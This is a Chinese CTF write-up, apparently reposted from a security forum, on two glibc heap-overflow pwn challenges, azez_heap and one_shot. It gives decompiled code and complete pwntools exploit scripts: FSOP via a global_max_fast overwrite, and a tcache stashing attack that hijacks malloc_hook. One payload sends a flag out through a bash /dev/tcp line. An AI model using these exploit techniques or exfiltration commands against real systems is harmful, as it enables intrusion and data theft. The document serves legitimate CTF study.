溢 出 大 师
2020-08-12 17:11:39 Author: bbs.pediy.com(查看原文) 阅读量:290 收藏

前言

前几天跟着看了几场比赛的题,有两道PWN题印象很深刻,只有一次堆溢出写,限制很多,在这里分享一下思路。

DASCTF六月赛 azez_heap

程序逻辑 & 漏洞利用

比较典型的菜单题,堆块添加部分只能添加0x80及以上大小的堆块,只能用calloc分配。给一个小sz的堆块会改成0x80,但是注意此时在sz_list[idx]填的值仍为开始的sz。

unsigned __int64 __fastcall add(__int64 a1, __int64 a2)
{
  int v2; // ebx
  _QWORD *v3; // rax
  unsigned __int64 v4; // rax
  unsigned __int64 sz; // rbp
  size_t v6; // rdi
  void *chunk_addr; // rax
  unsigned __int64 v9; // [rsp+8h] [rbp-20h]

  v2 = 0;
  v9 = __readfsqword(0x28u);
  v3 = qword_4080;
  while ( *v3 )
  {
    v3 += 2;
    v2 += 2;
    if ( &qword_4080[0x14] == v3 )
      exit_0();
  }
  puts("Can U tell me the len of note?");
  v4 = get_int();
  sz = v4;
  if ( v4 <= 0x7F )
  {
    v6 = 0x80LL;
    goto LABEL_7;
  }
  v6 = v4;
  if ( v4 <= 0x2333 )
  {
LABEL_7:
    chunk_addr = calloc(v6, 1uLL);
    ++qword_4058;
    qword_4080[v2] = chunk_addr;
    qword_4080[v2 + 1] = sz;
  }
  return __readfsqword(0x28u) ^ v9;
}

view只能用一次,当查看的对象的sz小于0x500时,调用malloc(0x500)分配一个chunk并且把目标堆块内容拷贝过去并输出。这里可以使用add(0)使得某个sz_list[idx]为0,从而拷贝了个寂寞,输出malloc的堆块的内容。

unsigned __int64 __fastcall view(__int64 a1, __int64 a2)
{
  unsigned __int64 v2; // rax
  signed __int64 v3; // rbp
  const void *init_chunk; // r12
  signed __int64 sz; // r13
  void *malloc_chunk; // r14
  unsigned __int64 result; // rax
  size_t v8; // rdx
  unsigned __int64 v9; // [rsp+8h] [rbp-30h]

  v9 = __readfsqword(0x28u);
  qword_4060 = 1LL;
  puts("Which note U want to view?");
  v2 = get_int();
  v3 = 2 * v2;
  init_chunk = (const void *)qword_4080[2 * v2];
  if ( v2 > 9 || !init_chunk )
    return __readfsqword(0x28u) ^ v9;
  sz = qword_4080[2 * v2 + 1];
  if ( sz > 0x4FF )
  {
    v8 = strlen((const char *)qword_4080[2 * v2]);
    result = write(1, init_chunk, v8);
  }
  else
  {
    malloc_chunk = malloc(0x500uLL);
    memcpy(malloc_chunk, init_chunk, sz);
    printf("Here is U2 note:", init_chunk);
    result = write(1, malloc_chunk, (unsigned int)(SLOBYTE(qword_4080[v3]) + 1));
  }
  return result;
}

edit可以溢出写0x18个字节,delete正常删除并清空bss的数据。

int edit()
{
  unsigned __int64 v0; // rax
  void *v1; // rbp
  __int64 v2; // rbx

  if ( qword_4068 )
  {
    puts("U can no longer modify");
    exit_0();
  }
  qword_4068 = 1LL;
  puts("Which note U want to fill in?");
  v0 = get_int();
  v1 = (void *)qword_4080[2 * v0];
  v2 = qword_4080[2 * v0 + 1];
  if ( v1 == 0LL || v0 > 9 || !v2 )
    return puts("the ptr is null");
  puts("Hey,Plz input U2 note");
  return sub_1440(v1, v2 + 0x18);
}

目标系统是18.04,首先分配一个块,释放后把它摁进large bin,完事儿调用view的malloc得到这个块,memecpy的sz为0即可泄露出堆地址和libc地址。

由于只有一次溢出写,我们先用溢出写一个unsorted bin的bk,改为global_max_fast-0x10,从而让近乎所有大小的堆块都按照fastbin处理。随后释放某个sz的堆块,让_IO_list_all写入这个堆地址,原理是fastbin堆块的头指针会存放到main_arena->fastbinsY[10],由于我们改了global_max_fast,大于0x80的堆块释放后也会依次放到fastbinY后面的地址处,计算这样一个sz出来,这里是0x1438,分配的堆块最大为0x2333,因此在合法范围内。释放后即可改_IO_list_all。在glibc 2.24后有一套IO攻击的技巧,详情可以参考glibc 2.24 下 IO_FILE 的利用 ,布置一下布局,主要是在fp+0xe8处布置systemfp->_IO_buf_end布置参数地址,还有几个检查绕一下。这里因为需要exit退出的时候触发,而exit前关闭了0/1/2,所以需要反弹shell,我本地起shell失败了,选择直接把flag输出回来

exp.py

#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./azez_heap')
libc_offset = 0x3c4b20
gadgets = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398]
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if debug:
    p = process('./azez_heap')
else:
    p = remote('127.0.0.1',6666)

def Add(sz):
    p.recvuntil('choice:')
    p.sendline('1')
    p.recvuntil("Can U tell me the len of note?")
    p.sendline(str(sz))

def Edit(idx,content):
    p.recvuntil('choice:')
    p.sendline('2')
    p.recvuntil("Which note U want to fill in?")
    p.sendline(str(idx))
    p.recvuntil("Hey,Plz input U2 note")
    p.send(content)

def Delete(idx):
    p.recvuntil('choice:')
    p.sendline('3')
    p.recvuntil("Which note U want to del?")
    p.sendline(str(idx))

def Show(idx):
    p.recvuntil('choice:')
    p.sendline('4')
    p.recvuntil("Which note U want to view?")
    p.sendline(str(idx))

def Exit():
    p.recvuntil('choice:')
    p.sendline('5')


def exp():
    #leak libc
    Add(0x500)#0
    Add(0)#1
    Delete(0)
    Add(0x600)#0

    Show(1)
    p.recvuntil("Here is U2 note:")
    libc_base = u64(p.recvn(8)) - libc.sym['__malloc_hook'] - 0x10 - 1168
    log.success("libc base => " + hex(libc_base))
    p.recvn(8)
    heap_base = u64(p.recvn(8)) - 0x250
    log.success("heap base => " + hex(heap_base))
    libc.address = libc_base
    #get shell
    #binsh_addr = libc.search("/bin/sh").next()
    binsh_addr = heap_base+0xef0
    str_jumps = libc_base + (0x7ffff7dcc360-0x7ffff79e4000)
    write_data = libc_base + (0x7ffff7dcf8c0-0x7ffff79e4000)
    Add(0x1438)#2
    Add(0x420)#3
    Add(0x17)#4
    Delete(3)
    payload = p64(0)*3
    payload += p64(1)
    payload += p64(0)
    payload += p64((binsh_addr))
    payload += p64(0)*4+p64(0)+p64(libc.sym['_IO_2_1_stderr_'])+p64(3)+p64(0)+p64(0)+p64(0)+p64(0)*2+p64(0)+p64(2)+p64(3)+p64(0)+p64(0)+p64(0)*2+p64(str_jumps-8)+p64(0)+p64(libc.sym['system'])
    payload += "bash -c 'cat ./flag >/dev/tcp/127.0.0.1/1234 0>&1'"
    payload = payload.ljust(0x1438,'\x00')
    payload += p64(0x431)+p64(0)+p64(libc_base+(0x7ffff7dd1940-0x7ffff79e4000)-0x10)
    Edit(2,payload)

    Add(0x420)


    Delete(2)
    #gdb.attach(p)

    Exit()


    p.interactive()

exp()

pwnhub内部赛 one_shot

程序逻辑 & 漏洞利用

这个题的设计和上面很像,不过add时最大的sz大小改成了0x1000,这使得之前的解法直接失效了,不过给了个奇怪的后门函数,可以使用scanf输入大量数据。

unsigned __int64 backdoor()
{
  char v1; // [rsp+0h] [rbp-610h]
  unsigned __int64 v2; // [rsp+608h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( dword_20201C )
  {
    --dword_20201C;
    __isoc99_scanf("%1535s", &v1);             
  }
  return __readfsqword(0x28u) ^ v2;
}

这里的leak相对更简单,给了两个gift用来输出地址,分别得到堆地址和libc地址。

使用tcache stashing attck将_IO_2_1_stdin_->_IO_buf_end改成main_arena+x(我这里是+352),从而可以在scanf的时候输入数据到realloc_hookmalloc_hook,改成one_gadget,调节下偏移即可。

exp.py

#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./pwn')
libc_offset = 0x3c4b20
gadgets = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398]
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if debug:
    p = process('./pwn')
else:
    p = remote('120.92.79.217',10001)

def Add(idx,sz):
    p.recvuntil('choice:')
    p.sendline('1')
    p.recvuntil("idx:")
    p.sendline(str(idx))
    p.recvuntil("size:")
    p.sendline(str(sz))

def Edit(idx,content):
    p.recvuntil('choice:')
    p.sendline('3')
    p.recvuntil("idx:")
    p.sendline(str(idx))
    p.recvuntil("content:")
    p.send(content)

def Delete(idx):
    p.recvuntil('choice:')
    p.sendline('2')
    p.recvuntil("idx:")
    p.sendline(str(idx))

def Show(idx):
    p.recvuntil('choice:')
    p.sendline('5')
    p.recvuntil("idx:")
    p.sendline(str(idx))

def Gift1(idx):
    p.recvuntil('choice:')
    p.sendline('4')
    p.recvuntil("idx:")
    p.sendline(str(idx))

def Backdoor(content):
    p.recvuntil('choice:')
    p.sendline('6')
    p.send(content)


def exp():
    #leak libc
    Add(0,0x510)
    Add(1,0x510)
    Add(16,0x80)
    Add(2,0x510)
    Add(15,0x80)
    Delete(0)

    Gift1(3)#init 0
    p.recvuntil("gift=> 0x")
    heap_base = int(p.recvuntil("Welc",drop=True),16) - 0x260
    log.success("heap base => " + hex(heap_base))

    Show(3)
    p.recvline()
    libc_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x10 - 1168
    log.success("libc base => " + hex(libc_base))
    libc.address = libc_base

    #tcache stashing
    for i in range(6):
        Add(4,0x100)
        Delete(4)
    Delete(2)
    Add(4,0x408)
    Add(5,0x500)
    Delete(1)
    Add(2,0x408)
    Add(6,0x500)

    target = libc.sym['_IO_2_1_stdin_']+0x40

    Edit(2,'a'*0x400+p64(0)+p64(0x111)+p64(heap_base+(0x000055ea00da60a0-0x55ea00da5000))+p64(target-0x10))

    Add(8,0x100)
    payload = '\x00'*5

    static_libc = 0x7fc6d768c000
    one_gadget = libc_base + gadgets[6]
    print hex(one_gadget)
    realloc = libc.sym['realloc']
    payload += flat([
        libc_base+(0x7fc6d7a798d0-static_libc),
        0xffffffffffffffff,
        0,
        libc_base+(0x7fc6d7a77ae0-static_libc),
        0,0,0,0xffffffff,0,0,libc_base+(0x7fc6d7a742a0-static_libc),
        ])
    payload += '\x00'*0x130
    payload += flat([
            libc.sym['_IO_wfile_jumps'],
            0,
            libc_base+(0x7fc6d7723410-static_libc),
            one_gadget,
            realloc+8
            ])
    Backdoor(payload+'\n')
    #gdb.attach(p,'b calloc')
    Add(1,0x170)



    p.interactive()

exp()

[公告]看雪论坛2020激励机制上线了!多多参与讨论可以获得积分快速升级?


文章来源: https://bbs.pediy.com/thread-261394.htm
如有侵权请联系:admin#unsafe.sh